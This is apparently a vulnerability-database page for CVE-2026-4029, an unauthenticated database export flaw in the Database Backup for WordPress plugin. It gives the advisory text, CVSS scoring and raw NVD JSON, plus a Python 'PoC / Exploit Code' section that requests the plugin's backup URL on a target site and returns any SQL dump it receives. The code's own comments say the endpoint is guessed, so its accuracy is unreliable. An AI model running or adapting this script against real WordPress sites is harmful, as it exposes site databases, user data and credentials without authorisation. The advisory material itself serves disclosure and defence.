Security Vulnerability Report
中文
CVE-2026-4029 CVSS 7.5 HIGH

CVE-2026-4029

Published: 2026-05-14 13:16:21
Last Modified: 2026-05-14 14:28:41

Description

The Database Backup for WordPress plugin for WordPress is vulnerable to unauthorized database export in all versions up to, and including, 2.5.2. This is due to the plugin not properly enforcing the return value of its authorization check. This makes it possible for unauthenticated attackers to export database tables, leading to Sensitive Information Exposure. Note: This vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Database Backup for WordPress <= 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2026_4029(target_url): """ PoC for CVE-2026-4029: Unauthenticated Database Export Note: This vulnerability works in WordPress Multisite environments. """ # The endpoint might vary based on the actual plugin implementation path # Common path for the backup functionality export_url = f"{target_url}/wp-admin/admin.php?page=wp-db-backup&backup=1&do_backup=1&coretables=1&othertables=1" headers = { "User-Agent": "CVE-2026-4029-Scanner/1.0" } try: response = requests.get(export_url, headers=headers, timeout=10) # Check if the response contains SQL dump indicators if response.status_code == 200 and ("INSERT INTO" in response.text or "CREATE TABLE" in response.text): print("[+] Vulnerability Confirmed: Database export successful.") print(f"[+] Dump size: {len(response.text)} bytes") return response.text else: print("[-] Target does not appear vulnerable or exploit failed.") return None except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return None # Usage # target = "http://example.com" # exploit_cve_2026_4029(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4029", "sourceIdentifier": "[email protected]", "published": "2026-05-14T13:16:20.630", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Database Backup for WordPress plugin for WordPress is vulnerable to unauthorized database export in all versions up to, and including, 2.5.2. This is due to the plugin not properly enforcing the return value of its authorization check. This makes it possible for unauthenticated attackers to export database tables, leading to Sensitive Information Exposure. Note: This vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-db-backup/tags/2.5.2/wp-db-backup.php#L1623", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-db-backup/trunk/wp-db-backup.php#L153", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-db-backup/trunk/wp-db-backup.php#L1632", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3510595/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d4a21d0d-f455-4901-a04b-13c891cf8f75?source=cve", "source": "[email protected]"}]}}